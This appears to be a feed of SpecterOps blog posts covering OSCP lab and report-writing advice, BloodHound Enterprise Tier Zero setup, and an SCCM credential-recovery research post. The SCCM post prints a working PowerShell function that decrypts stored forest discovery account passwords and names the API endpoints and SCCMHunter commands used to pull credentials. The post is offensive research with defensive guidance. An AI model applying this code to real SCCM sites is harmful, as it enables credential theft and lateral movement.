For all the effort OSCP candidates put into identifying and exploiting technical vulnerabilities, the irony of the course is that its arguably most valuable skill is also the least offensive: report writing. In the real world, the value of an offensive security engagement doesn’t come from hacking efforts alone—it mostly comes from a legible, actionable, and informative report. Given this, it’s somewhat disappointing that the OSCP exam report—a required component of the certification process—is graded more on accuracy than quality. According to the PEN-200 Reporting Requirements, “[students] must submit an exam penetration test report clearly demonstrating how [they] successfully achieved the certification exam objectives”. This policy ensures that passing students have demonstrated the minimum technical competency of an offensive security professional, but not necessarily the writing skills needed to excel in the field. If your goal is not just to pass the exam but to be a standout candidate in future consulting roles, you should learn how to write an exemplary penetration test report and use the PEN-200 labs as practice.

Report writing is often the least enjoyable part of a penetration test, but a poorly written report can have serious consequences. The most immediate impact may be frustration from supervisors or colleagues, but the affected audience is often much larger. If your firm has a quality assurance (QA) process, multiple rounds of revision can delay the report’s delivery, damaging the company’s reputation. Worse, if significant errors slip through and the client receives a flawed report—such as one containing incorrect, incomplete, or difficult-to-read sections—the aftermath can be disastrous. Miscommunication about findings can lead to delayed security improvements, inadequate risk mitigations, and ultimately an unresolved attack surface. The client may become furious over wasted time and resources, potentially demanding revisions, reattempts, or—worst-case scenario—a partial or full refund.

Given the stakes, it’s imperative to take reporting seriously—and this is where the PEN-200 labs come in. While their official purpose is to provide students a sandbox environment for practicing their newly learned offensive techniques, they also serve as an excellent training ground for report writing. The lab structures simulate a black-box penetration test scenario, lending authenticity and relevance to aspiring offensive security professionals. Furthermore, three lab networks are specifically designed to replicate the OSCP exam conditions, allowing students to simulate the exam environment under self-imposed time constraints.

NOTE:
Consider attempting two of these lab networks within a 48-hour window (24-hours each for testing and reporting) before your first exam attempt, reserving the third for after you’ve conducted your first attempt postmortem (more on that later in the series).

Before you begin report writing, it’s essential to understand their structure. While formats vary across firms, most reports include at least an Executive Summary, Assessment Results, Attack Path Narrative, and Appendix. A full breakdown of these sections is beyond the scope of this post, but for practical guidance, Brian King’s Hack for Show, Report for Dough (Wild West Hackin’ Fest 2018) is a phenomenal resource. It also covers several report writing best and worst practices, helping students refine their skills. Students can also reference OffSec’s official OSCP exam report templates as a primary source for understanding the certification provider’s expectations.

When writing reports, I strongly advise sticking to Microsoft Word. While I personally find it somewhat infuriating and a victim of “featuritis”, it remains the dominant word processor application in the industry and offers useful features like change trackers (especially relevant for collaborative projects), cross-references, and a citation management system. For screenshots, I highly recommend Greenshot, Flameshot, Snagit, and ZoomIt from the Sysinternals suite. Including a network topology diagram in your lab reports can improve clarity—draw.io is a popular choice for this. Finally, ensure that your report writing toolset does not violate OffSec’s Academic Policy; for example, as stated in the OSCP Exam Guide, using large language models (LLMs) and artificial intelligence (AI) chatbots to generate or refine content constitutes sharing PEN-200 material with a third-party, which is a copyright violation.

Each firm has its own style guide for consultants, so it’s important to adopt a writing style that aligns with industry expectations when creating lab reports. While I couldn’t find a publicly available style guide specifically for penetration test reports, the Microsoft Writing Style Guide serves as a suitable alternative. Below are key writing principles to follow, with some modifications and additions to Microsoft’s guide:

  • Use active voice over passive voice (e.g., “the student scanned the host…” vs. “the host was scanned by the student…”), unless the latter sounds objectively less “awkward”
  • Maintain a consistent preterite verb tense and third-person narrative (e.g., “the student conducted a penetration test…”)
  • Spell out acronyms on first use (e.g., “dynamic link library (DLL)”)
  • Assign articles to acronyms based on pronunciation (e.g., “a DLL, an ISP”)
  • Ensure text in screenshots is at least as large as figure subtitles or body text for readability
  • Avoid opinionated language, colloquialisms, redundant phrases, and contractions to maintain a professional tone

Welcome - Microsoft Writing Style Guide

The main drawback of using the PEN-200 labs for report writing practice is that students cannot share their reports for peer-review due to copyright restrictions. According to Section 16 (IP Ownership) of OffSec Terms and Conditions, students are forbidden from sharing derivative PEN-200 content such as lab walk-throughs—which implicitly includes reports. Violating this agreement could result in punitive action from OffSec, such as having existing certifications revoked or being banned from future enrollment. To work within these constraints, students should conduct independent research on report writing and rigorously self-grade their reports while keeping them private. Those seeking peer feedback can instead write reports on alternative virtual lab environments with looser copyright restrictions, such as Hack the Box (HTB), and request evaluation from qualified career mentors.

It’s in your best interest to start developing your report writing skills early and the professionally managed PEN-200 lab networks provide an excellent environment to practice within. If you’re still struggling with report writing—or want to learn more about report review, delivery, and feedback procedures in general—consider enrolling in Luke Rogerson’s The Art of Report Writing, offered by Zero-Point Security. While I haven’t personally taken the course, it comes highly recommended by many in the consulting field and features an expansive syllabus. Investing in your report writing abilities—both during the PEN-200 labs and through external resources—will pay dividends in your future career.

Use the Labs as a Baseline for Your Personal Lab

The PEN-200 labs are excellent for simulating black-box penetration tests, but students shouldn’t rely solely on them for experimenting with offensive techniques. Your ultimate goal should be to either design a personal lab for yourself or use an existing template by the time you have completed the PEN-200 labs. If you choose to follow the former path, don’t be afraid to take inspiration from the labs when designing your own.

Developing your own cyber range offers several advantages over the PEN-200 labs. Most obviously, your lab access won’t expire when your OffSec subscription ends. Setting up a personal lab manually also deepens your understanding of how misconfigurations and vulnerable applications introduce security risks. You can also expand upon the PEN-200 syllabus by incorporating technologies not covered in the course, such as security incident and event management (SIEM) solutions, Kerberos delegation attack paths, and persistence techniques, to name a few. If you want to get even more granular, you can use a network protocol analyzer utility like Wireshark to manually inspect the network packets associated with your favorite tools or exploits. Finally, for students eager to stay current with cybersecurity trends, a personal lab provides a low-risk environment to deploy and test new exploits and tools.

Historically, deploying a personal cybersecurity lab was a costly endeavor. The resources required to simulate an entire Active Directory (AD) network required substantial investments in RAM, CPU cores, and HDD/SSD storage, often housed in bulky rack servers or large PC chassis. For those starting from scratch, costs can easily creep up to hundreds or even thousands of dollars. Luckily, mini PCs like the GMKtec NucBox offer a significantly more affordable and compact alternative to the comically large and expensive gaming rigs often associated with home labs. You can even purchase a barebones mini PC—no RAM, SSD, or OS pre-installed—and salvage memory and storage components from refurbished PCs. By integrating them into a custom-built setup and installing an open-source OS like Ubuntu, you can significantly cut costs while still aggregating the hardware required to create a fully functional lab environment.

Deploying a cybersecurity lab has traditionally been seen as a technically demanding experience due to the sheer scope of involved technologies. Most PEN-200 students may already be familiar with virtualization platforms like VMware Fusion and Workstation or Oracle VirtualBox, but not necessarily infrastructure as code (IaC) tools like Vagrant, Terraform, Ansible, and Packer. Similarly, containerization platforms such as Docker, Podman, or Kubernetes (K8s) introduce additional complexity. Once the lab is deployed, students must also administer network segmentation, domain name system (DNS) records, snapshot management, and, in the case of free licensed Windows virtual machines (VMs), manually extend the 180-day trial period by rearming the instance. Thankfully, platforms like Ludus have emerged to simplify the cybersecurity lab deployment process, consolidating many of these technologies into a single, streamlined solution.

Ludus is a cyber range orchestration platform that Erik Hunstad, the founder of Bad Sector Labs and Chief Technology Officer of Sixgen, created. The platform is built on top of the Proxmox Virtual Environment (Proxmox VE) hypervisor—a powerful open-source solution for VM and container management—enabling the virtualization of entire simulated networks. Among its many features, Ludus supports user-defined networking and firewall rules, DNS record management, snapshot functionality, and automated configuration pulls from Ansible Galaxy’s collection library. It deploys VM templates that can either be sourced from Ludus’s builtin library or customized and imported. The end-user only needs to install Ludus on a dedicated host, create an environment configuration file, deploy the range, and apply host- or domain-specific changes—which can easily be automated. Ludus is an extremely powerful and customizable tool for students who want to focus on refining their penetration testing skills rather than spending excessive time troubleshooting setup issues.

Ludus | Ludus

Designing a cyber range from scratch can be intimidating, but fortunately, multiple preconfigured penetration testing labs are available for students to deploy. One of the most popular lab templates today is Game of Active Directory (GOAD) by M4yFly, offered by Orange Cyberdefense. GOAD supports multiple attack path scenarios, many of which are covered in the PEN-200 course, making it an ideal choice for a first personal cyber range. It is also compatible with Ludus, further simplifying deployment.

Game Of Active Directory v2

Regardless of whether you use GOAD, a custom-built network, or another public lab template, consider supplementing the range with Elastic Security, an SIEM platform from the Elastic Stack (ELK). Integrating Elastic Security—or another free SIEM solution—into your lab allows students to observe how offensive techniques are detected in real time, providing valuable insights into defensive strategies. Elastic Security is also Ludus-compatible and, to demonstrate how to integrate it with a personal cyber range, I recommend this walkthrough from I.T. Security Labs that shows how to deploy GOAD with Elastic Security through Ludus.

NOTE:
Other noteworthy lab templates include BadBlood, ADCS Lab, and SCCM Lab, the last two of which are compatible with Ludus. BadBlood (by Secframe) is a PowerShell scripting suite that generates polymorphic Microsoft AD cyber ranges, ensuring distinct challenges with each invocation. The ADCS and SCCM labs focus on Active Directory Certificate Services (AD CS) and Microsoft Configuration Manager (MCM/SCCM). While not covered in the PEN-200 syllabus, recent security research has demonstrated that they both represent a significantly large attack surface, and the aforementioned labs provide an opportunity to develop skills in testing and securing both technology stacks.

In conclusion, a personal cybersecurity range inspired by the PEN-200 lab networks provides several key advantages: freedom from OffSec subscription limits, exposure to multiple relevant technologies, a sandbox for testing new techniques and tools, and the ability to integrate operational security (OPSEC) solutions. If you successfully design a custom penetration testing lab from scratch (not derivative of PEN-200 content), you can share your deployment template publicly—a valuable addition to your portfolio that can strengthen future job applications.

Develop a Testing Methodology

Once you begin the PEN-200 labs, it’s crucial to develop a repeatable and self-improving testing methodology early to avoid falling into a “spray and pray” mentality. A structured approach not only helps you uncover hidden vulnerabilities more efficiently, but also minimizes the risk of needing lab extensions or incurring multiple exam retake fees—maximizing the value of your PEN-200 experience.

In the context of PEN-200 and offensive security, a testing methodology is a systematic process encompassing enumeration, documentation, tool selection, exploit testing, privilege escalation, and post-exploitation routines. Ideally, your methodology should evolve as you progress through the labs—allowing you to address knowledge gaps, adopt time-saving techniques, and incorporate novel attack strategies. Students who follow a codified and mature testing methodology are less likely to waste time redoing scans, chase dead ends, overlook low-hanging fruit, become prone to burnout and frustration, or rely on luck or accidental success to achieve the testing objective.

In the first post of this series, I introduced the concept of command reference guides (AKA “cheat sheets”), which serve as a repository for your preferred offensive tooling usage. Beyond providing easy copy-and-paste shortcuts for commands, your reference guide can be structured to align with your testing methodology. In our previous example, I demonstrated how you could leverage Obsidian to document the usage of impacket-GetUserSPNs for conducting a Kerberoasting attack. Let’s expand on this example by organizing the navigation pane of the guide into distinct phases of a simple penetration testing methodology.

Our reference guide now consists of seven root directories, each representing a major phase of a typical penetration test (e.g., Reconnaissance, Initial Access, Privilege Escalation, etc.). Notice how each of the three tools we’ve added so far (i.e., impacket-GetUserSPNs, BloodHound, and Hashcat) is intuitively placed within the appropriate parent directory, and further compartmentalized into subdirectories based on the specific technique utilized during that phase (e.g., Identifying Kerberoastable Accounts, Kerberoasting, Hash Cracking, etc.). In the Internal Enumeration and Privilege Escalation phases, we’ve gone a step further by dividing techniques by the environment we’re working in—in this case, Active Directory, Linux, and Windows. Since Kerberoasting is specific to AD environments, we placed our entry for BloodHound and impacket-GetUserSPNs in the Active Directory subdirectory of Internal Enumeration and Privilege Escalation, respectively.

I want to emphasize the importance of iterative learning when developing your testing methodology. It’s unrealistic to expect that your initial attempt at following a testing methodology will be optimal, so it’s critical to refine your process after each lab or exercise—especially during the early, high-growth stage of your OSCP journey. Consider keeping a brief log for each machine or network within your reference guide, summarizing the attack path, the tools and techniques you utilized, and the areas where you struggled most. Use the last section in particular to feed both successes and setbacks into your methodology refinement. This continuous improvement process will steadily strengthen your assessment methodology, significantly boosting your confidence and skills ahead of the OSCP exam.

In conclusion, I strongly encourage students to treat the labs not just as an opportunity to improve their ability to identify and exploit vulnerabilities, but also as a chance to build an iterative, professional methodology for offensive security engagements—and to commit to regularly polishing it as they progress. Doing so will not only prepare you for the OSCP exam, but will also translate directly to future responsibilities in a consulting role, strengthen your technical interview performance, and ultimately support your growth as a security professional.

Conclusion

If you have questions, feedback, or suggestions you feel should have been included in this post, please feel free to leave a comment. In the next installment of this series, I’ll dive into the OSCP exam itself.


Getting the Most Value Out of the OSCP: The PEN-200 Labs was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

  • ✇Posts By SpecterOps Team Members - Medium
  • Getting Started with BHE — Part 2 Nathan D.
    Getting Started with BHE — Part 2Contextualizing Tier ZeroTL;DRAn accurately defined Tier Zero provides an accurate depiction of Attack Path Findings in your BHE tenant.Different principals (groups, GPOs, OUs, etc.) have different implications when Tier Zero is defined — understanding these will help reduce confusion around why something is showing up as Tier Zero.Welcome to round two of the Getting Started with BloodHound Enterprise series. Today’s focus will be on understanding and contextuali
     

Getting Started with BHE — Part 2

19 de Março de 2025, 10:31

Getting Started with BHE — Part 2

Contextualizing Tier Zero

TL;DR

  • An accurately defined Tier Zero provides an accurate depiction of Attack Path Findings in your BHE tenant.
  • Different principals (groups, GPOs, OUs, etc.) have different implications when Tier Zero is defined — understanding these will help reduce confusion around why something is showing up as Tier Zero.

Welcome to round two of the Getting Started with BloodHound Enterprise series. Today’s focus will be on understanding and contextualizing Tier Zero and ensuring that we have an accurate depiction of the Attack Paths that exist in your BloodHound Enterprise (BHE) tenant.

I started the last blog with a problem statement meant to align our focus, and I’ll include another one today. In this case, that would look something like:

“Have we identified (and configured) Tier Zero in our environment so that we have an accurate depiction of the Attack Paths that are increasing risk in our environment?”

In order to make progress here, we need to define and understand what it means when we’re talking about Tier Zero. You may have a unique definition for your organization which may require some additional due diligence, however our definition here at SpecterOps is:

“Tier Zero is a set of assets in control of enterprise identities and their security dependencies”

Where:

  • Control: A relationship that can contribute to compromising the controlled asset or impact its operability
  • Security dependency: A component whose security impacts another component’s security [1]

Out of the box, BHE comes with some default Tier Zero options [2] that will always be marked as a Tier Zero object for each domain collected, including:

  • The Domain head object
  • AdminSDHolder object
  • Built-in Administrator account
  • Domain Admins
  • Domain Controllers
  • Schema Admins
  • Enterprise Admins
  • Key Admins
  • Enterprise Key Admins
  • Administrators

Not listed here are:

  • Users and Computers that are members of these groups, however they inherit Tier Zero classification from the Groups they share the “MemberOf” relationship with:
T0 Inheritance via Group Membership
  • Organizational Units (OUs) and Containers that contain these Tier Zero objects, though they are assigned Tier Zero based on containing Tier Zero objects as indicated below:
T0 Inheritance via “Contains” Relationship
  • Group Policy Objects (GPOs) that apply to these objects, though these are automatically marked as Tier Zero objects when they apply to a separate Tier Zero object:
T0 Inheritance via “GPLink” Relationship

What is not included in the default definition are groups like Account Operators (among several others). This is a group that, in your domain(s), may or may not be empty, and may or may not contain your helpdesk which generally opens wide your Tier Zero unnecessarily. There are also accounts like the MSOL account, responsible for Azure synchronization; your Privileged Access Workstations (PAWs); Password Managers (which have the ability to change the password on Tier Zero principals); and so on. These often become evident after the first collection when you may see a handful of principals that “shouldn’t be there” because there is a known relationship that is 100% valid (which you will generally know based on additional context you may have as a member of your organization). These are your “custom” Tier Zero objects that didn’t get wrapped up in BHE’s initial default definition. We do, of course, have additional documentation for these [3,4,5,6,7,8,9,10].

These custom additions will need to be manually added to Tier Zero in one of a couple different ways:

Tagging Tier Zero from the Explore Page

The first is through the Explore page, where you can search for individual objects and add them by right-clicking the object and selecting “Add to Tier Zero.” Similarly, if you select the “Explore” option for a Finding on the Attack Paths page, that will take you to this same Explore page where you can similarly add the object to Tier Zero. See below:

Exploring an Attack Path Finding to Add the Principal to Tier Zero
Adding the Attack Path Finding Principal to Tier Zero via the Explore Page

Either of these methods are a bit piecemeal and not the fastest ways to modify Tier Zero, but they are a good way to inspect and validate your Tier Zero additions during this process. Don’t fear, though, there’s a faster way to add objects to Tier Zero.

The second option is through the Group Management page which takes you to an overview of your Tier Zero:

Add or Remove Members (from Tier Zero) on the Group Management Page
Specify Members for Bulk Add on the Group Management Page

With this option, you can specify several names to add to Tier Zero and do a bulk add of any principals. Be aware that the changes that will take place, as noted above, include:

  • Groups that are added will cause members (computers, groups, users) to be added to Tier Zero
  • If the principal being added to Tier Zero is in an OU that is non-Tier Zero, the OU will be added to Tier Zero
  • If the principal being added to Tier Zero has GPOs that apply to it that are non-Tier Zero, these will be marked as Tier Zero

An important note to make about either of these options is that neither is necessarily the “right” or the “wrong” way, and both get you to the same end state. Generally, I find that the former (adding via “Explore”) is best suited when inspecting individual Findings on the Attack Paths page, as these may merit additional analysis before adding the object to Tier Zero. On the other hand, the “Group Management” page is great when you have a series of objects you want to add and don’t require additional inspection of anything before adding them to your Tier Zero definition. Basically, if you’re looking for a batch of updates that you want to add at one time, “Group Management” is the best way to go.

New Tier Zero additions will also cause new Findings to appear where non-Tier Zero principals have permissions against these newly-added Tier Zero principals. But this is good — this is what we’re looking for.

And that’s the next step — custom-tagged Tier Zero assets. When this is complete, you’ll have a clearer picture of what the Attack Paths and valid Findings actually are. In some cases, this may point to a couple of groups with very extensive permissions, or you might find a swath of misconfigurations that you did not realize existed buried deep in your AD structure.

What does this look like in practice? Here’s an example of what your BHE tenant might look like before you’ve added any context (red indicates an Attack Path Finding in BHE, for clarity):

Contextualizing Tier Zero — “Default” View

Here we have a “default” Tier Zero object (Domain Admins) and four Findings under the “Generic All” Attack Path. If we expand this out, to see full exposure, it might look like this (black lines depict relationships):

Contextualizing Tier Zero — Exposure View

Here we can see that there’s only one Tier Zero principal (Domain Admins), with four Attack Paths, but an exposure count of nine (count of non-Tier Zero principals). Again, this is after default collection with no additional contextualization except that we’re visualizing exposure in a simplified scenario.

But you might look at one of those and say, “Hey, Group: A is a Tier Zero object, too.” So we add it to Tier Zero and then we see the following:

Contextualizing Tier Zero — Defined Tier Zero View

Now we have two Tier Zero principals:

  • Domain Admins
  • Group: A

We also have eight Attack Paths:

  • Three Tier One principals with GenericAll over Domain Admins
  • Five Tier One principals with GenericWrite over Group: A

We would also see a slight change in Exposure because one of the nine principals that would previously contribute to our count has been added to Tier Zero. Exposure here has decreased to eight.

Now we have a better picture of what the Findings are in our environment, which allows us to better understand what needs attention, what needs to be mitigated, and what’s potentially leading to unnecessary exposure to Tier Zero. This is because we’ve taken the time to define Tier Zero for our organization.

Contextualizing your Tier Zero definition is important because otherwise your Findings will not accurately represent tiering violations, which is one of the first things you need to be able to see within BHE. This is what the Attack Path page shows you, and part of the reason it can be so valuable for organizations is that it summarizes pathways that cause exposure risks to your critical assets.

Once we have all that figured out, we’ll run into either of the following outcomes with no change in exposure:

  • Larger Tier Zero definition, decrease in Findings
  • Larger Tier Zero definition, increase in Findings

Objectively speaking, neither of these is better or worse than the other based on the change in Findings. Either is better than the previous state of visibility because it represents a more accurate view of your domain and the true Attack Paths that require your attention.

If we don’t figure this out, nothing changes and when we open up BHE we’re going to see an inaccurate depiction of what we actually care about. Again, that’s pathways (Attack Paths) that cause exposure risks to your critical assets (Tier Zero).

Join me again next time for Part 3, where we’ll work on identifying sources of exposure using Cypher queries.

References & Resources

[1] — “The Security Principle Every Attacker Needs to Follow,” by Elad Shamir: https://posts.specterops.io/the-security-principle-every-attacker-needs-to-follow-905cc94ddfc6

[2] — Tier Zero: Members and Modification: https://support.bloodhoundenterprise.io/hc/en-us/articles/9259826072091-Tier-Zero-Members-and-Modification#h_01HA564DYTJP7RKXCK291XRPXS

[3] — “What is Tier Zero — Part 1,” by Jonas Bülow Knudsen: https://specterops.io/blog/2023/06/22/what-is-tier-zero-part-1/

[4] — “What is Tier Zero — Part 2,” by Jonas Bülow Knudsen: https://specterops.io/blog/2023/09/14/what-is-tier-zero-part-2/

[5] — “At the Edge of Tier Zero: The Curious Case of the RODC,” by Elad Shamir: https://specterops.io/blog/2023/01/25/at-the-edge-of-tier-zero-the-curious-case-of-the-rodc/

[6] — Tier Zero Table: https://specterops.github.io/TierZeroTable/

[7] — “Defining the Undefined: What is Tier Zero, Pt I,” by Elad Shamir, Jonas Bülow Knudsen, and Justin Kohler: https://www.youtube.com/watch?v=5Ho83R9Jy68

[8] — “Defining the Undefined: What is Tier Zero, Pt II,” by Alexander Schmitt, Jonas Bülow Knudsen, and Elad Shamir: https://www.youtube.com/watch?v=SAI3mXQgy_I

[9] — “Defining the Undefined: What is Tier Zero, Pt III,” by Thomas Naunheim, Andy Robbins, and Jonas Bülow Knudsen: https://www.youtube.com/watch?v=ykrse1rsvy4

[10] — “Defining the Undefined: What is Tier Zero, Pt IV,” by Martin Christensen, Lee Chagolla-Christensen, and Jonas Bülow Knudsen: https://www.youtube.com/watch?v=lLpCPBJIFkQ


Getting Started with BHE — Part 2 was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

  • ✇Posts By SpecterOps Team Members - Medium
  • Decrypting the Forest From the Trees Garrett Foster
    TL;DR: SCCM forest discovery accounts can be decrypted including accounts used for managing untrusted forests. If the site server is a managed client, service account credentials can be decrypted via the Administration Service API.IntroductionWhile Duane Michael, Chris Thompson, and I were originally working on the Misconfiguration Manager project, one of the tasks I took on was to create every possible account in the service and see how many of them could be discovered and extracted. Nearly all
     

Decrypting the Forest From the Trees

TL;DR: SCCM forest discovery accounts can be decrypted including accounts used for managing untrusted forests. If the site server is a managed client, service account credentials can be decrypted via the Administration Service API.

Introduction

While Duane Michael, Chris Thompson, and I were originally working on the Misconfiguration Manager project, one of the tasks I took on was to create every possible account in the service and see how many of them could be discovered and extracted. Nearly all of those credentials, at least in a standard deployment, can be recovered using the techniques in CRED-5 that Benjamin Delpy and Adam Chester originally shared. There were accounts though that couldn’t be decrypted the same way and were stored in the SC_UserAccount table in a completely different format.

SCCM provides a number of discovery methods for identifying clients including Active Directory (AD) user and system discovery, network discovery, heartbeat, and forest discovery. Unlike the others that identify users and computers that may need to be managed, the forest discovery’s role is to identify locations that can be added as boundaries for client management by querying the local and trusted forests. The default for this discovery method is to use the site server’s machine account as it is already a member of the forest. However, another option is for administrators to manually add a forest and set credentials for a forest discovery account. This can be even more useful when managing untrusted forests.

Over the last few years of researching and attacking SCCM, the most common issue I’ve observed is that the various service accounts are configured with excessive permissions. I suspect the same is true for forest discovery accounts as well and are likely high value; especially when the objective is to move laterally where no direct path exists between forests. Naturally, I wanted to decrypt them.

Decryption

While manually forcing a forest discovery, I checked the modules loaded in the smsexec.exe service, which handles the bulk of processing tasks executed from the management console, and found a pretty descriptive .NET assembly: ActiveDirectoryForestDiscoveryAgent.dll.

Loading the assembly into dnSpy, the RunDiscovery method kicks off the discovery process. The method starts by first ensuring a database connection exists then generates a list of forests to target for discovery from the SCCM database. Once the list is built, ConnectToForest is called to query the database for each forest’s associated discovery account username.

If one exists, that username is passed to the GetCredentialsWrapper utility method, which is a wrapper for the native GetUserCredentials function imported from the ADForestDisc.dll to acquire the account’s password. The verbose logger shows that whatever is returned from GetCredentialsWrapper should be “successfully obtained credentials…” which is a good sign.

Looking at the ADForestDisc.dll in Ghidra, the GetUserCredentials function ensures a username is set then passes the username to GetGlobalUserAccount before returning the account’s password. The error handling logging message that states “failed to get account information from site control file for the discovery user” is a clue to where the credential material is stored.

According to Microsoft, the site control file (SCF) “…defines the settings for a specific site” and is stored in the SCCM site database. Two control files exist at any given time: the “actual” SCF for current site settings and the “delta” SCF for staged changes to update site settings. To perform any modifications to the site programmatically, an administrative user must establish a session handle on the file, commit the changes, then release the handle. This is necessary to prevent multiple users trying to modify site settings and creating conflicts. Admin users have likely experienced this working in the Configuration Manager console when trying to modify settings while another user has the same window open. If not properly handled, duplicate entries or even entire duplicate SCFs can occur, which can brick SCCM (ask me how I know).

Admins can use the Get-CMHierarcySetting PowerShell cmdlet to view the site’s current settings and, by expanding the Props embedded property, find entries for GlobalAccounts; including the account information being queried by the GetGlobalUserAccount function. This is promising as the first eight bytes of the blob stored in Value2 matches how Adam described other credential blobs are stored in the database.

Continuing with the basesvr!GetGlobalUserAccount function is where things get interesting and we start to get some insight into the decryption flow and where the credential is stored.

  1. The function loads then recovers an encrypted session key blob from the site definition file for the target user with CSCItem_Property::GetCopyFromArray
  2. Decrypts the session key blob with the CServerAccount::Decrypt function
  3. Calls CSCItem_UserAccount::GetPassword to retrieve the encrypted password for the user account
  4. The password is finally decrypted with the CServerAccount:DecrptEx function

Quick observation of the CServerAccount::Decrypt function reveals it’s the equivalent of what has already been shared for decrypting credentials in CRED-5, which makes sense considering the session key’s blob format.

To validate this, we can use the script Chris recently shared to decrypt the blob and recover the session key.

Now, to get the encrypted password, the baseobj.dll!GetPassword function just did not decompile well when imported to Ghidra.

Instead, I attached a debugger to the smsexec.exe process and set a breakpoint on the GetPassword symbol imported from baseobj.dll and kicked off a forest discovery.

Once the breakpoint is hit, the global user account and session key blob are visible in the memory dump. This lines up with what we’ve worked out so far in the decryption flow and are now trying to get the encrypted password value.

Step over the break point a bit and eventually land on a call to CServerAccount:DecryptEX and see the same encrypted password value from the SC_UserAccount table shown at the beginning of the blog along with the session key in the registers. And, after the call to DecryptEx is returned, the password for the account is visible.

Looking into the DecryptEx function, the bulk of it is just prepping the session key and encrypted password data formats for a call to another function to return the decrypted value.

The final function performs multiple steps to finally decrypt the password. It:

  1. Establishes cryptographic service provider context; it initially tries to reuse an existing key container and, if it doesn’t, it creates one
  2. Formats the session key for CryptImportKey. This is actually pretty cool and is a nice trick by the devs to reformat the session key. The CreatePrivateExponentOneKey function “encrypts” the session key with a private exponent value of 1 which mathematically checks out but does nothing to encrypt the session key. What it is doing, though, is basically encoding it into SIMPLEBLOB format for session key transport that CryptImportKey expects for session keys
  3. Imports the formatted key
  4. Allocates memory space for the decrypted password
  5. Calls CryptDecrypt to decrypt the password with the session key

I originally set out to rewrite the native code to decrypt the string, but recalled seeing another decryption method (Microsoft.ConfigurationManager.CommonBase.EncryptionUtilities.DecryptWithGeneratedSessionKey) when I was recreating Adam’s work with CRED-5.

This made it pretty easy to create a wrapper around this method to decrypt the forest discovery password.

# Load the DLL
Add-Type -Path "C:\Program Files\Microsoft Configuration Manager\bin\X64\microsoft.configurationmanager.commonbase.dll"

function Invoke-DecryptEx {
[CmdletBinding()]
param (
[Parameter(Mandatory = $true, Position = 0)]
[string]$sessionKey,

[Parameter(Mandatory = $true, Position = 1)]
[string]$encryptedPwd
)

try {
$sessionKeyBytes = [byte[]]::new($sessionKey.Length / 2)
$encryptedBytes = [byte[]]::new($encryptedPwd.Length / 2)

for($i = 0; $i -lt $sessionKey.Length; $i += 2) {
$sessionKeyBytes[$i/2] = [Convert]::ToByte($sessionKey.Substring($i, 2), 16)
}

for($i = 0; $i -lt $encryptedPwd.Length; $i += 2) {
$encryptedBytes[$i/2] = [Convert]::ToByte($encryptedPwd.Substring($i, 2), 16)
}

$encUtil = [Microsoft.ConfigurationManager.CommonBase.EncryptionUtilities]::Instance
$decrypted = $encUtil.DecryptWithGeneratedSessionKey($sessionKeyBytes, $encryptedBytes)

if ($decrypted -ne $null) {
$length = 0
foreach($byte in $decrypted) {
if ($byte -eq 0 -or $byte -lt 32 -or $byte -gt 126) {
break
}
$length++
}

$decryptedString = [System.Text.Encoding]::ASCII.GetString($decrypted, 0, $length)
return $decryptedString
}
else {
Write-Warning "Decryption returned null"
return $null
}
}
catch {
Write-Error "Error during decryption: $_"
return $null
}
}

While reading documentation on untrusted forest deployment, I came across an interesting requirement for site system installation that provides another opportunity to recover forest credentials. To support untrusted forest deployment, admins must configure an account in the target domain to use for site installation. The account must have local admin permissions on the host and will be used for all future connections to the site system.

Site system installation accounts are stored the same way most other credentials are in the database and can be decrypted with the various methods from CRED-5.

Finally, while exploring all these various credential blobs, I discovered essentially every encrypted credential in SCCM can be recovered via the Administration Service API. Previously, I summarized the SCCM site control file (SCF) and how administrators can review it with PowerShell. It’s also visible from the API via the /wmi/SMS_SCI_SiteDefintion endpoint.

The SC_UserAccount table from the site database has an equivalent endpoint at /wmi/SMS_SCI_Reserved.

I don’t believe this is an exhaustive list yet but this discovery, in combination with the PowerShell decryption methods, can make credential recovery trivial. If the site server’s host system is a managed client, operators can leverage SCCMHunter’s admin module to recover and decrypt credentials stored in SCCM.

As a demo credential blobs from the SC_UserAccount table can be extracted with the get_creds command.

You can use the decrypt command to decrypt the blobs. The target environment will either need script approval disabled or you’ll need a secondary set of approver credentials since the decrypt function uses scripting under the hood. Again, the site server must be a managed client for this to work.

Defensive Considerations

While more credentials are available for abuse following hierarchy takeover, there really isn’t anything new here that warrants new defensive techniques. The defensive recommendations for CRED-5 are applicable here. In particular, the recommendations in PREVENT-10 to enforce the principle of least privilege for service accounts. Additionally, many of the accounts I’ve seen from previous assessments had an account name of “not configured”.

This happens when an account was being used for an action, in this case forest discovery, and then removed from that service. My conclusion here is admins may incorrectly believe removing the account from the service deletes the account. Organizations should review accounts found in the \Administration\Overview\Security\Accounts panel and remove them if they’re no longer in use.

Final Thoughts

I recognize that, if SCCM is managing an untrusted forest, there are likely clients running on devices from that forest and those can be leveraged for the same or greater lateral movement. I personally like to have as many credentials as possible and believe the credentials shown here may be extremely valuable.

Soon after this blog is published, we plan to update Misconfiguration Manager with these techniques to ensure they’re available to attackers and defenders. We have many more updates to make, which we’ll be publishing at a later date.

Come hang out with us in the #sccm channel on the BloodHound Slack. It’s been cool to see other members of the industry develop SCCM tradecraft and we discuss much of that conversation there.


Decrypting the Forest From the Trees was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

  • ✇Posts By SpecterOps Team Members - Medium
  • Forging a Better Operator Quality of Life Cody Thomas
    A new Mythic add-on for Windows AgentsMythic provides flexibility to agent developers for how they want to describe and execute techniques. While this is great, it also means that when operators hop from agent to agent, they can have issues with slight differences between similar commands. Because of this, there have been some requests within the Mythic community to provide a feature similar to Sliver’s amazing Armory project so that, if desired, there can be a more standardized way of executing
     

Forging a Better Operator Quality of Life

5 de Fevereiro de 2025, 12:05

A new Mythic add-on for Windows Agents

Mythic provides flexibility to agent developers for how they want to describe and execute techniques. While this is great, it also means that when operators hop from agent to agent, they can have issues with slight differences between similar commands. Because of this, there have been some requests within the Mythic community to provide a feature similar to Sliver’s amazing Armory project so that, if desired, there can be a more standardized way of executing beacon object files (BOFs) and .NET assemblies.

Introducing Forge

Forge in Mythic

